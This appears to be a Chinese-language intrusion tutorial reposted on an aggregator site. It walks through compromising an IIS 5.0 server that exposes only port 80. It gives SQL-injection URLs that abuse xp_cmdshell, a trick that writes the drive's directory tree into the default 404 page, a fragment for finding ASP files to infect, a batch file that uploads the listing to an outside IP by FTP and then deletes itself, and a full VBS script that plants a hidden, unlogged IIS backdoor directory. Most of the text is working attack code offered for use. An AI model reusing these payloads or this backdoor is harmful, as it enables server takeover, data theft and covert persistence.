全新方法突破80端口
發(fā)表時(shí)間:2023-05-31 來(lái)源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]作為專業(yè)的服務(wù)器, 一般只打開80端口, 這在追求安全的網(wǎng)絡(luò)環(huán)境里已經(jīng)不足為奇了, 許多網(wǎng)絡(luò)管理員也放松了警惕, 以為這銅墻鐵壁的系統(tǒng)真的無(wú)懈可擊了。 真得是如此嗎?我們通過(guò)對(duì)某一類似服務(wù)器進(jìn)行滲...
作為專業(yè)的服務(wù)器, 一般只打開80端口, 這在追求安全的網(wǎng)絡(luò)環(huán)境里已經(jīng)不足為奇了, 許多網(wǎng)絡(luò)管理員也放松了警惕, 以為這銅墻鐵壁的系統(tǒng)真的無(wú)懈可擊了。 真得是如此嗎?我們通過(guò)對(duì)某一類似服務(wù)器進(jìn)行滲透打破這種觀念。
首先我們要對(duì)服務(wù)器進(jìn)行信息收集, 先拿出掃描工具對(duì)要測(cè)試的站點(diǎn)進(jìn)行掃描, 對(duì)方只提供WEB服務(wù), 開了80端口, 其它信息一無(wú)所知, 即使連對(duì)方的操作系統(tǒng)類型都不知道。 這樣的系統(tǒng)不知道裝了N重防火墻或者IDS, 直接從系統(tǒng)入侵根本不可能。 我們還是從HTTP頭探測(cè)我們所要的信息吧。 對(duì)方的IIS版本號(hào)是IIS5.0, 加上服務(wù)器上的ASP腳本, 可大致判斷對(duì)方是Windows 2000系統(tǒng)。 知道這些信息對(duì)我們基于腳本下的入侵已經(jīng)足夠了。
我們知道, 一般網(wǎng)絡(luò)管理員, 只是負(fù)責(zé)對(duì)系統(tǒng)安全進(jìn)行維護(hù), 至于腳本程序是由程序員編寫的, 他們大多數(shù)不會(huì)注意腳本的安全性, 而且也不太可能什么都懂, 從而使服務(wù)器有了SQL Injection的問題。 很不幸, 我也發(fā)現(xiàn)了一個(gè):
http://www.target.com/show.asp?id=1234'
返回如圖1所示。
圖1
初步判斷主機(jī)存在SQL注入漏洞, 再次提交URL, 確定服務(wù)器的連接權(quán)限:
http://www.target.com/show.asp?id=1234 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
返回正常, 表明當(dāng)前連接的賬號(hào)是服務(wù)器Sysadmin權(quán)限。 試試SA權(quán)限, 根據(jù)我的經(jīng)驗(yàn), 這樣重重防護(hù)的服務(wù)器除非沒有腳本問題, 一旦有, 就很大可能是SA權(quán)限的連接:
http://www.target.com/show.asp?id=1234 and 'sa'=(SELECT System_user)
返回正常, 表明我的猜測(cè)是對(duì)的, 它是用SA連接的, 權(quán)限比系統(tǒng)管理員還高, 再看看我們最喜歡的Xp_cmdshell存在存在:
http://www.target.com/show.asp?id=1234 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
返回正常, 表明Xp_cmdshell擴(kuò)展存儲(chǔ)過(guò)程沒有被刪除。 接下來(lái)就是最重要的工作了, 雖然現(xiàn)在我們的權(quán)限級(jí)高, 但由于對(duì)方防火墻的限制, 我們除了80端口外無(wú)法和服務(wù)器進(jìn)行通信, 而且執(zhí)行的CMD命令還沒有回顯。 面對(duì)這種僵局, 網(wǎng)上方法很多, 基本上都是取得WEB的物理路徑然, 后Echo或Backup一個(gè)ASP木馬到WEB目錄下, 得到WwbShell。 其中簡(jiǎn)單的方法要屬要飯兄的讀注冊(cè)表的方法了, 但是他讀取服務(wù)器WEB絕對(duì)路徑一點(diǎn), 只有在默認(rèn)安裝的時(shí)候才會(huì)正確讀取。 也就是說(shuō)注冊(cè)表里面存儲(chǔ)的只是在安裝IIS時(shí)的WEB絕對(duì)路徑, 而如果用戶對(duì)這個(gè)路徑進(jìn)行修改的話, 注冊(cè)表內(nèi)的值仍然是不變的, 因此即使你把木馬按照臭要飯的那種方法上傳上去也是沒有辦法找到并執(zhí)行的。
關(guān)于這個(gè)方法, 大家可以在黑防前期雜志里看到, 我就不再重復(fù)了。 我現(xiàn)在要講的是一個(gè)全新的方法來(lái)取得WEB的物理路徑, 大家要看好了啊。
第一步我們要做的是在域名下隨便輸入一個(gè)不存在的頁(yè)面, 顯然服務(wù)器會(huì)返回給我們404未找到的錯(cuò)誤頁(yè)面。 如果管理員沒有修改默認(rèn)的錯(cuò)誤頁(yè)面, 我們基本上就可以通過(guò)它來(lái)取得WebShell了。
腳本小子:錯(cuò)誤頁(yè)面的默認(rèn)位置是C:\winnt\help\iisHelp\common\目錄, 這是Windows 2000系統(tǒng)的默認(rèn)路徑, Windows 2003和Windows xp默認(rèn)路徑應(yīng)該是C:\wondows\help\iisHelp\common\, 其中404錯(cuò)誤重定向到的文件是C:\winnt\help\iisHelp\common\404b.htm(windows2000), C:\windows\help\iisHelp\common\404b.htm(windowsXP), 這里默認(rèn)是將C盤作為系統(tǒng)盤得到的物理路徑。
好了, 為了保險(xiǎn)起見, 我們先讓服務(wù)器返回這個(gè)錯(cuò)誤頁(yè)面并將它保存起來(lái), 用來(lái)恢復(fù)修改后的服務(wù)器上的頁(yè)面。 好了, 看好下面的提交:
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>c:\winnt\help\iisHelp\common\404b.htm';--
等待一會(huì)兒, 因?yàn)檫@個(gè)命令執(zhí)行的很慢。 我們隨便訪問一個(gè)不存在的頁(yè)面, 使服務(wù)器返回這個(gè)頁(yè)面, 如果沒有變化, 不要著急, 在保證命令沒有出錯(cuò)的前提下繼續(xù)提交:
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>c:\wondows\help\iisHelp\common\404b.htm';--
或
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>d:\winnt\help\iisHelp\common\404b.htm';--
或
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>d:\wondows\help\iisHelp\common\404b.htm';--
這是我測(cè)試的時(shí)候?qū)懭氲?11111, 看是不是成功了?如圖2所示。
我們?cè)偃?gòu)造目錄命令, 再訪問那個(gè)定制的錯(cuò)誤頁(yè)面, 它已經(jīng)將D盤的目錄結(jié)構(gòu)寫到了這個(gè)文件上, 為了不被其它瀏覽者也看到這個(gè)頁(yè)面, 趕快將它復(fù)制來(lái), 然后用Echo命令將它寫回去。 為了提高速度, 可以使用NBUPLOAD程序。 接下來(lái)我們慢慢從得到的目錄樹中找到WEB物理路徑吧!
其實(shí)我們還有其它的方法快速取得一個(gè)WebShell, 比如說(shuō)在本地先寫一個(gè)VBS腳本文件, 大致作用是取得服務(wù)器各個(gè)分區(qū)的目錄結(jié)構(gòu)(使用Tree命令), 然后從中搜索Inc或Images等特征文件夾, 得到此文件夾的物理路徑后將一個(gè)ASP木馬寫入這個(gè)目錄就可得到WebShell了。
同樣我們利用VBS腳本遍歷文件, 查找ASP擴(kuò)展名, 像病毒一樣感染這種類型文件也可得到WebShell。 由于這種方法殺傷力極大, 完整的VBS就不提供了, 我把關(guān)鍵代碼寫出來(lái):
sub search(folder_) 'search函數(shù)定義,
on error resume next '如果出現(xiàn)錯(cuò)誤, 直接跳過(guò).
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 當(dāng)前目錄的所有文件集合
for each file in filesext=fso.GetExtensionName(file) '獲取文件后綴
ext=lcase(ext) '后綴名轉(zhuǎn)換成小寫字母
if ext="asp" then '如果后綴名是asp, 則插入后門。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
'搜索其他目錄;遞歸調(diào)用search( )
search(subfolder)
next
end sub
如果服務(wù)器的防火墻限制得不很嚴(yán)格, 我們同樣可以調(diào)用FTP命令將目錄結(jié)構(gòu)文件Tree.txt發(fā)送出去, 此Tree.bat文件的文件如下:
tree c:\ >tree.txt
tree d:\ >>tree.txt
tree e:\ >>tree.txt
tree f:\ >>tree.txt
echo ftp 172.18.16.61 21>ftp.txt
echo llikz>>ftp.txt
echo 111111>>ftp.txt
echo put tree.txt>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt
del ftp.txt
del tree.txt
del tree.bat
將它用Echo寫到服務(wù)器的一個(gè)根目錄下如D:\然后運(yùn)行即可。 其實(shí)如果對(duì)方使用的是標(biāo)準(zhǔn)的Windows 2000服務(wù)器, 直接使用動(dòng)鯊的IIS.vbs建立IIS隱藏后門就可以了, 代碼如下:
help1="IIS后門設(shè)置器 FOR WIN2000 BY 動(dòng)鯊 3月3號(hào)2004 年"
help2="請(qǐng)輸入正確的虛擬目錄名稱和映射的路徑,格式如下"
help3=" cscript.exe iis.vbs 虛擬目錄的名稱 映射的路徑"
help4="例如: cscript.exe iis.vbs lh e:\"
set Args = Wscript.Arguments
if args.count < 2 then
wscript.echo help1
wscript.echo ""
wscript.echo help2
wscript.echo ""
wscript.echo help3
wscript.echo ""
wscript.echo help4
wscript.quit
end if
strVRName=args(0) ''虛擬目錄名稱
strRootPath=args(1) ''虛擬目錄路徑
Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
For each VR in checkVirtualDir
if VR.Name="lhxy" Then
foundt ="yes"
else
foundt= "no"
End If
Next
if foundt ="yes" then
wscript.echo "發(fā)現(xiàn)已經(jīng)創(chuàng)建了lhxy目錄, 正在設(shè)置自定義的虛擬目錄"
creatvdir
else
wscript.echo "正在創(chuàng)建lhxy目錄, 以及自定義文件夾, 請(qǐng)等待!"
creatlhxy
creatvdir
end if
wscript.echo "你創(chuàng)建的虛擬目錄名稱是"& strVRName &", 映射的文件夾是 " & strRootPath &"。 "
wscript.echo "請(qǐng)?jiān)L問http://IP/lhxy/"& strVRName &"/ 來(lái)連接后門!"
wscript.echo "恭喜!后門設(shè)置全部完成!"
sub creatlhxy()
Set objDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
Set myDir=objDir.Create("IISWebVirtualDir","lhxy")
myDir.AccessRead=true
myDir.DefaultDoc=mydir.DefaultDoc
myDir.AppIsolated=0
myDir.AccessExecute=true
myDir.DontLog=true
myDir.AccessSource=true
myDir.EnableDirBrowsing=true
myDir.setinfo
end sub
sub creatvdir()
Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy")
Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=""
VirDir.AccessExecute=true
VirDir.AccessWrite=true
VirDir.AccessSource=true
VirDir.AppIsolated=0
VirDir.DontLog=true
VirDir.EnableDirBrowsing=true
VirDir.appcreate 0
VirDir.CreateProcessAsUser=0
VirDir.setInfo
end sub
wscript.quit
將它用Echo命令寫到服務(wù)器上然后提交如下URL:
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'cscript iis.vbs llikz d:\';--
即可建立一個(gè)隱藏的虛擬目錄, 不過(guò)這種方法只能對(duì)付Windows 2000系統(tǒng), 而且據(jù)我實(shí)驗(yàn), 成功率不高。 不過(guò)它的優(yōu)勢(shì)也非常明顯:不依賴Adminscrips下的VBS腳本, 獨(dú)立性很強(qiáng)。
得到物理路徑后入侵就簡(jiǎn)單多了, 上傳ASP木馬想辦法提升權(quán)限就可以了。 本文只是提出了幾個(gè)比較另類的得到物理路徑的辦法, 或許在普通情況下沒有太多的意義, 但在防護(hù)特別嚴(yán)密、管理員特別BT的服務(wù)器上, 不妨試下文章中的方法, 相信一定會(huì)有收
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。